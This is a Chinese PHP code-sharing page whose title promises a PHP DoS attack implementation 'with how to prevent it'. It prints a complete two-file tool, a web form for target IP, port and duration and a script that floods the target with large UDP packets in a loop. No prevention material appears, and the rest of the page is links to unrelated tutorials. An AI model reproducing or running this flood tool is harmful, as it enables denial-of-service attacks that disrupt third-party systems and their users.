php DOS攻击实现代码(附如何防范)


Posted in PHP onMay 29, 2012

index.php

<?php 
$ip = $_SERVER['REMOTE_ADDR']; 
?> 
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> 
<html> 
<head> 
<meta http-equiv="content-type" content="text/html; charset=iso-8859-1"> 
<meta name="author" content=""> 
<title>PHP DoS, Coded by EXE</title> 
</head> 
<!-- PHP DOS, coded by EXE --> 
<style type="text/css"> 
<!-- 
body { 
font-family: Arial, Helvetica, sans-serif; 
font-size: 12px; 
font-style: normal; 
line-height: normal; 
color: #FFFFFF; 
background-color: #000000; 
} 
--> 
</style> 
<!-- PHP DOS, coded by EXE --> 
<body> 
<center><br><br> 
<img src="main.jpg"><br> 
<b>Your IP:</b> <font color="red"><?php echo $ip; ?></font> (Don't DoS yourself nub)<br><br> 
<form name="input" action="function.php" method="post"> 
IP: 
<input type="text" name="ip" size="15" maxlength="15" class="main" value = "0.0.0.0" onblur = "if ( this.value=='' ) this.value = '0.0.0.0';" onfocus = " if ( this.value == '0.0.0.0' ) this.value = '';"> 
    Time: 
<input type="text" name="time" size="14" maxlength="20" class="main" value = "time (in seconds)" onblur = "if ( this.value=='' ) this.value = 'time (in seconds)';" onfocus = " if ( this.value == 'time (in seconds)' ) this.value = '';"> 
    Port: 
<input type="text" name="port" size="5" maxlength="5" class="main" value = "port" onblur = "if ( this.value=='' ) this.value = 'port';" onfocus = " if ( this.value == 'port' ) this.value = '';"> 
<br><br> 
<input type="submit" value=" Start the Attack---> "> 
<br><br> 
<center> 
After initiating the DoS attack, please wait while the browser loads. 
</center> 
</form> 
</center> 
<!-- PHP DOS, coded by EXE --> 
</body> 
</html>

function.php
<?php 
//================================================= 
//PHP DOS v1.8 (Possibly Stronger Flood Strength) 
//Coded by EXE 
//================================================= 
$packets = 0; 
$ip = $_POST['ip']; 
$rand = $_POST['port']; 
set_time_limit(0); 
ignore_user_abort(FALSE); 
$exec_time = $_POST['time']; 
$time = time(); 
print "Flooded: $ip on port $rand <br><br>"; 
$max_time = $time+$exec_time; 
for($i=0;$i<65535;$i++){ 
$out .= "X"; 
} 
while(1){ 
$packets++; 
if(time() > $max_time){ 
break; 
} 
$fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5); 
if($fp){ 
fwrite($fp, $out); 
fclose($fp); 
} 
} 
echo "Packet complete at ".time('h:i:s')." with $packets (" . round(($packets*65)/1024, 2) . " mB) packets averaging ". round($packets/$exec_time, 2) . " packets/s \n"; 
?>
PHP 相关文章推荐
一个php作的文本留言本的例子(一)
Oct 09 PHP
PHP 页面编码声明方法详解(header或meta)
Mar 12 PHP
PHP多线程批量采集下载美女图片的实现代码(续)
Jun 03 PHP
Android ProgressBar进度条和ProgressDialog进度框的展示DEMO
Jun 19 PHP
PHP IE中下载附件问题解决方法
Jan 07 PHP
php模拟post提交数据的方法
Feb 12 PHP
php创建多级目录的方法
Mar 24 PHP
php计算一个文件大小的方法
Mar 30 PHP
一段实用的php验证码函数
May 19 PHP
php中请求url的五种方法总结
Jul 13 PHP
关于PHP虚拟主机概念及如何选择稳定的PHP虚拟主机
Nov 20 PHP
Yii Framework框架开发微信公众平台示例
Apr 26 PHP
PHP fgetcsv 定义和用法(附windows与linux下兼容问题)
May 29 #PHP
PHP中将网页导出为Word文档的代码
May 25 #PHP
php在文件指定行中写入代码的方法
May 23 #PHP
php替换超长文本中的特殊字符的函数代码
May 22 #PHP
php提示undefined index的几种解决方法
May 21 #PHP
openflashchart 2.0 简单案例php版
May 21 #PHP
PHP中去掉字符串首尾空格的方法
May 19 #PHP
You might like
php escape URL编码
2008/12/10 PHP
PHP 错误之引号中使用变量
2009/05/04 PHP
最新的php 文件上传模型,支持多文件上传
2009/08/13 PHP
理解和运用PHP中的多态性[译]
2011/08/02 PHP
ThinkPHP惯例配置文件详解
2014/07/14 PHP
PHP+MYSQL实现用户的增删改查
2015/03/24 PHP
网页中CDATA标记的说明
2010/09/12 Javascript
在js(jquery)中获得文本框焦点和失去焦点的方法
2012/12/04 Javascript
JavaScript操纵窗口的方法小结
2013/06/28 Javascript
js设置组合快捷键/tabindex功能的方法
2013/11/21 Javascript
JS实现点击按钮自动增加一个单元格的方法
2015/03/09 Javascript
JavaScript中Number.MIN_VALUE属性的使用示例
2015/06/04 Javascript
js实现Form栏显示全格式时间时钟效果代码
2015/08/19 Javascript
详谈javascript异步编程
2016/02/21 Javascript
js 定位到某个锚点的方法
2016/11/19 Javascript
turn.js异步加载实现翻书效果
2019/07/25 Javascript
详解Vue.js 作用域、slot用法(单个slot、具名slot)
2019/10/15 Javascript
Layui数据表格判断编辑输入的值,是否为我需要的类型详解
2019/10/26 Javascript
如何使用vue slot创建一个模态框的实例代码
2020/05/24 Javascript
Nuxt.js的路由跳转操作(页面跳转nuxt-link)
2020/11/06 Javascript
[01:51]2018年度CS GO最具人气外援-完美盛典
2018/12/16 DOTA
详解python调用cmd命令三种方法
2019/07/08 Python
django 通过url实现简单的权限控制的例子
2019/08/16 Python
django-利用session机制实现唯一登录的例子
2020/03/16 Python
python爬虫中的url下载器用法详解
2020/11/30 Python
用python爬虫批量下载pdf的实现
2020/12/01 Python
html5服务器推送_动力节点Java学院整理
2017/07/12 HTML / CSS
HTML5拖拽的简单实例
2016/05/30 HTML / CSS
英国最大的宝石首饰超市:QP Jewellers
2018/09/23 全球购物
给排水工程师岗位职责
2013/11/21 职场文书
党的群众路线教育实践活动总结报告
2014/07/03 职场文书
七一讲话心得体会
2014/09/05 职场文书
代领报检证委托书范本
2014/10/11 职场文书
经营场所证明范本
2015/06/19 职场文书
从np.random.normal()到正态分布的拟合操作
2021/06/02 Python
Python如何导出导入所有依赖包详解
2021/06/08 Python